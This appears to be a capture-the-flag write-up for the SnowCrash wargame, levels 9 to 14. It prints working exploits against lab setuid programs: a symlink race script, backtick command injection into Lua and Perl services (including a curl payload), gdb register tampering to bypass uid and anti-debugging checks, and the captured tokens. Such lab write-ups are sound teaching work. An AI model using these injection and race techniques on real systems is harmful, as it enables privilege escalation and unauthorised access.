`s5cAJpM8ev6XHw998pRWG728z` ``` level09@SnowCrash:~$ nano /dev/shm/script.py level09@SnowCrash:~$ python /dev/shm/script.py f3iji1ju5yuevaus41q1afiuq level09@SnowCrash:~$ su flag09 Password: Don't forget to launch getflag ! flag09@SnowCrash:~$ getflag Check flag.Here is your token : s5cAJpM8ev6XHw998pRWG728z flag09@SnowCrash:~$ ``` ## level10 Upon enumeration, looks like this has similar mechanism with the last level, with another layer of complexity ``` level10@SnowCrash:~$ ls level10 token level10@SnowCrash:~$ file * level10: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf7e21fb68568fa57d6317d0535b97d9fca66f841, not stripped token: regular file, no read permission level10@SnowCrash:~$ ./level10 ^C level10@SnowCrash:~$ ltrace ./level10 asdf __libc_start_main(0x80486d4, 2, 0xbffff7e4, 0x8048970, 0x80489e0 <unfinished ...> printf("%s file host\n\tsends file to ho"..., "./level10"./level10 file host sends file to host if you have access to it ) = 65 exit(1 <unfinished ...> +++ exited (status 1) +++ level10@SnowCrash:~$ ./level10 asdf ./level10 file host sends file to host if you have access to it level10@SnowCrash:~$ ./level10 ./level10 asdf ``` I wanted to get to know more about this mechanism so I opened another terminal to act as my server using ` nc -l 0.0.0.0 6969` In my original terminal, I sent a test file to `127.0.0.1` to see its behaviour Original terminal: ``` level10@SnowCrash:/dev/shm$ ./level10 script.py 127.0.0.1 Connecting to 127.0.0.1:6969 .. Connected! Sending file .. wrote file! level10@SnowCrash:/dev/shm$ ``` Other terminal: ``` level10@SnowCrash:~$ nc -l 0.0.0.0 6969 .*( )*. bytes = [102,52,107,109,109,54,112,124,61,130,127,112,130,110,131,130,68,66,131,68,117,123,127,140,137] # get from od -t u1 for x, byte in enumerate(bytes) : bytes[x] -= x print(''.join(chr(i) for i in bytes)) level10@SnowCrash:~$ ``` Looks like the file gets sent in plaintext, now I gotta find a way to access the file to get it sent through. The ltrace shows this line before the file gets read, so I went to see what it is about in the man page. ``` access("token", R_OK) = -1 EACCES (Permission denied) ``` as it turns out, there is a warning about a security hole > Warning: Using these calls to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).) This means that we can change the file behaviour after access has been called, and before open has been called. We need to change the file in such a way that it passes the first `access` call and opens the `token` file on the `open` call. And since we couldnt do anything to stop or pause the execution externally, we will need to do the file operation alot of times in succession, hoping that the timing reaches our favour. The operations which we will do to the file is to 1. create a link to a readable file 2. remove the link 3. create a link to the non readable file 4. remove the link Hopefully, when we continiously run the application in another thread, the `access` will run before step 2, and open will run before step 4. We made a script to do the linking operations ```bash= echo stuff > /dev/shm/stuff while true do ln -s /dev/shm/stuff /tmp/link rm -f /tmp/link ln -s /home/user/level10/token /tmp/link rm -f /tmp/link done ``` Also another script to run the program in a loop ```bash= while true do /home/user/level10/level10 /tmp/link 127.0.0.1 done ``` The following link will start a local server that listens to a port and restarts everytime a connection closes `nc -lk 0.0.0.0 6969` Do the following in order : 1. Run the server 2. Run the linking script 3. Run the program loop You should able to see the value of token sometimes in the server output. The value of the token is `woupa2yuojeeaaed06riuj63c`, which is the password for flag10. The `getflag` output for that user is `feulo4b72j7edeahuete3no7c` ## level11 Here are the enumeration results ``` level11@SnowCrash:~$ file level11.lua level11.lua: setuid setgid a lua script, ASCII text executable ``` We are presented with a lua file, here is the code. ```lua= #!/usr/bin/env lua local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 5151)) function hash(pass) prog = io.popen("echo "..pass.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local l, err = client:receive() if not err then print("trying " .. l) local h = hash(l) if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then client:send("Erf nope..\n"); else client:send("Gz you dumb*\n") end end client:close() end ``` Looks like the code is already running in a server of port 5151 on localhost, and it reads data from the body, put it through the hash function and sends a respose. However, looking at the code, we can deduce that there is no point trying to crack the encryption since we cant inject anything into the response. We can however, use command substitution and output the result in a file, and thats what we did ``` `getflag > /dev/shm/flag` ``` we got the flag in `/dev/shm/flag` `fa6v5ateaw21peobuub8ipe6s` ## level12 Here are the enumeration results ``` level12@SnowCrash:~$ file level12.pl level12.pl: setuid setgid a perl script, ASCII text executable ``` We are presented with a perl file, here is the code. ```lua= #!/usr/bin/env perl # localhost:4646 use CGI qw{param}; print "Content-type: text/html\n\n"; sub t { $nn = $_[1]; $xx = $_[0]; $xx =~ tr/a-z/A-Z/; $xx =~ s/\s.*//; @output = `egrep "^$xx" /tmp/xd 2>&1`; foreach $line (@output) { ($f, $s) = split(/:/, $line); if($s =~ $nn) { return 1; } } return 0; } sub n { if($_[0] == 1) { print(".."); } else { print("."); } } n(t(param("x"), param("y"))); ``` Much like the last level, it seems like the code is already running in a server of port 4646 on localhost. There are 2 query parameters, namely "x" and "y", which are passed to the function t. The function uses regex to convert alphabets to uppercase and keeps only the first word. "x", now formatted, is used to egrep the file "/tmp/xd" and redirects stderr to stdout. The rest of the code checks if the output matches the param "y" and prints 1 or 2 dots. Our first instinct is to utilize command substitution, but putting the whole command wouldn't work, as the "x" parameter is trimmed to the first word. To bypass that, we can run the entire command in a script that has a fully uppercase name, like "FLAGGETTER", and substitute that instead. `/dev/shm/FLAGGETTER` ```bash= #!/bin/bash getflag > /dev/shm/flag ``` In order to run the script as a command, we have to add the directory that contains the script to the PATH env variable. ``` export PATH=/dev/shm:$PATH ``` Now we can try to pass the command substitution to the server via curl. ``curl "127.0.0.1:4646?x=\`flaggetter\`&y=y"`` Hmm seems like the flag file wasn't created, what is the error here? We were stuck here for quite a while, thinking there were problems elsewhere. We continued to test and in the end, we realized that the updated PATH doesn't carry over to other users. To resolve the issue, we can use absolute path to run the script. ``curl "127.0.0.1:4646?x=\`/*/*/flaggetter\`&y=y"`` There we go, the flag file is now created at `/dev/shm/flag` and it contains the flag `g1qKMiRpXf53AWhDaU7FEkczr` ## level13 We are greeted by a setuid elf executable, and here are the enumeration results ``` level13@SnowCrash:~$ file * level13: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xde91cfbf70ca6632d7e4122f8210985dea778605, not stripped level13@SnowCrash:~$ ltrace ./level13 __libc_start_main(0x804858c, 1, 0xbffff7f4, 0x80485f0, 0x8048660 <unfinished ...> getuid() = 2013 getuid() = 2013 printf("UID %d started us but we we expe"..., 2013UID 2013 started us but we we expect 4242 ) = 42 exit(1 <unfinished ...> +++ exited (status 1) +++ level13@SnowCrash:~$ ``` The executable calls getuid to get the current user id which is the uid of `level13`, and it checks the return value and compares it to 4242. We couldnt really get more out of this by using tracing programs, so we went to try to modify the uid and made a C program that does so ``` #include <unistd.h> #include <sys/types.h> int main() { uid_t uid = 1000; // Set the desired UID // Change the current UID to the specified UID if (setuid(uid) == -1) { perror("setuid"); return 1; } return 0; } ``` However, our user is not root so this code will fail with error `EPERM`. We also tried looking into exploits in the `getuid()` function itself and couldnt find any. Without any other choices, our only option left is to manipulate register values to bypass the check during the programs runtime using gdb. We launched gdb with the program name `gdb ./level13` and it brings us to the gdb shell. On another terminal, we run the command `tty` to get the tty device, so that gdb can send the stdout to that device during debugging. ![](https://hackmd.io/_uploads/BJsr3OAzp.png) On the gdb shell, we first assign the output tty to the device we see just now by running `tty /dev/pts{id}`. Once its done, we will make a breakpoint at the `getuid` function of the code because we want to make changes around that function by using `b getuid`. We then enable register and assembly view by doing `layout asm` and `layout reg`. Once we see the layouts, we can type `run` to start the debugging. ![](https://hackmd.io/_uploads/HyUr6u0f6.png) We will have to step-in until we see the return instruction to change the register values, we use the command `stepi` ![](https://hackmd.io/_uploads/rJrKpuCfT.png) Notice we are at the `ret` instruction, which is the assembly instrction for return. It will read the value in `eax` and return to the caller. It is at this point we want to change the value of `eax` to 4242. ``` set $eax=0x1092 ``` and to continue the program execution till the process ends, use `continue`. In the other terminal, you should see the flag `2A31L79asukciNyi8uppkEuSx` ![](https://hackmd.io/_uploads/BkYWRuCzp.png) ## level14 This is a mystery, there are no files in the home directory and nothing created by flag14 user in the system that I can see ``` level14@SnowCrash:~$ find / -user flag14 2>/dev/null level14@SnowCrash:~$ ls level14@SnowCrash:~$ ``` the output of `top -U flag14` did not show any processes either ![](https://hackmd.io/_uploads/HJa_kYAMT.png) I think this means we gotta do everything ourselves now.. Since we used gdb in the last round to change the uid to 4242, maybe we can do the same to `getflag`, we can change the uid to the uid of flag14, which is according to `/etc/passwd`, 3014. I set the breakpoint at `getuid`, but looks like I got caught red handed ![](https://hackmd.io/_uploads/rJ2RgYRza.png) So what if i set the breakpoint at `ptrace`? Will I be able to bypass this? Turns out I can, I adjusted the return value to a sucess value in ptrace and I managed to get to `getuid`. The rest is the same as the last level, and I managed to get the flag `7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ` ![](https://hackmd.io/_uploads/rJFfftAMT.png)